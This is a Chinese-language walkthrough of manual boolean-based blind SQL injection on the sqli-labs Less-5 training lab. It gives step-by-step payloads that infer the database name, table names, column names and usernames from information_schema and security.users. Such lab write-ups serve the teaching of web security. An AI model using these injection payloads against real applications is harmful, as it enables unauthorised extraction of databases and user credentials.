sqli-labs-less 5之盲注

#盲注相关函数(得好好学python来写脚本不然。。。。。。。)

我们进行手工盲注测试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。
ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始,截取字符串a的c长度
mid(a,b,c)从位置b开始,截取a字符串的c位

以sqli-labs-less 5 作为学习对象

http://localhost/sqli-labs-master/Less-5/?id=1%27

首先我们要用’and (length(database())=n)–+,通过改变n来猜解当前数据库名称长度
sqli-labs-less 5之盲注_第1张图片
如果长度不正确,则会显示不正常

sqli-labs-less 5之盲注_第2张图片

可知数据库名称的长度是8

接下来可以根据数据库名称长度来猜解数据库名字

’ and (left(database(),n)=‘m’)–+

通过改变n值(数字)以及m(字母) 来猜解database()字符串前n个的字母

sqli-labs-less 5之盲注_第3张图片sqli-labs-less 5之盲注_第4张图片

猜解得出数据库的名称为security

接下来可以猜解当前数据库的表的个数

’ and n=(select count(table_name) from information_schema.tables where table_schema=‘security’)–+

通过修改n值来判断当前数据库表的个数
sqli-labs-less 5之盲注_第5张图片

当n=4时,页面返回正常,所以security数据库表的个数为4个

现在该依次猜解4个表的名字

’ and (ascii(substr((select concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),1,1 ))>90)–+
sqli-labs-less 5之盲注_第6张图片
返回正常,说明security数据库的第一个表的第一个字母的ASCII值>90

’ and (ascii(substr((select concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),1,1 ))>n)–+

通过改变n值来判断第一个表的第一个字母的ASCII值

之后依次类推,直到获得需要的表名

然后开始查询列名

查询列名的步骤和查询表名的步骤差不多

首先通过该语句查询列的个数’ and (n=(select count(column_name) from information_schema.columns where table_name=‘users’))–+
sqli-labs-less 5之盲注_第7张图片

之后再通过该语句查询列名’ and (ascii(substr((select concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),1,1 ))>n)–+

最后开始利用得到的列名(username,password)

'and n=(select count(username) from security.users)–+

sqli-labs-less 5之盲注_第8张图片

’ and (ascii(substr((select concat(username) from security.users limit 0,1),1,1 ))>n)–+

sqli-labs-less 5之盲注_第9张图片

你可能感兴趣的:(sqli-labs,sqli-labs-less,5z之盲注)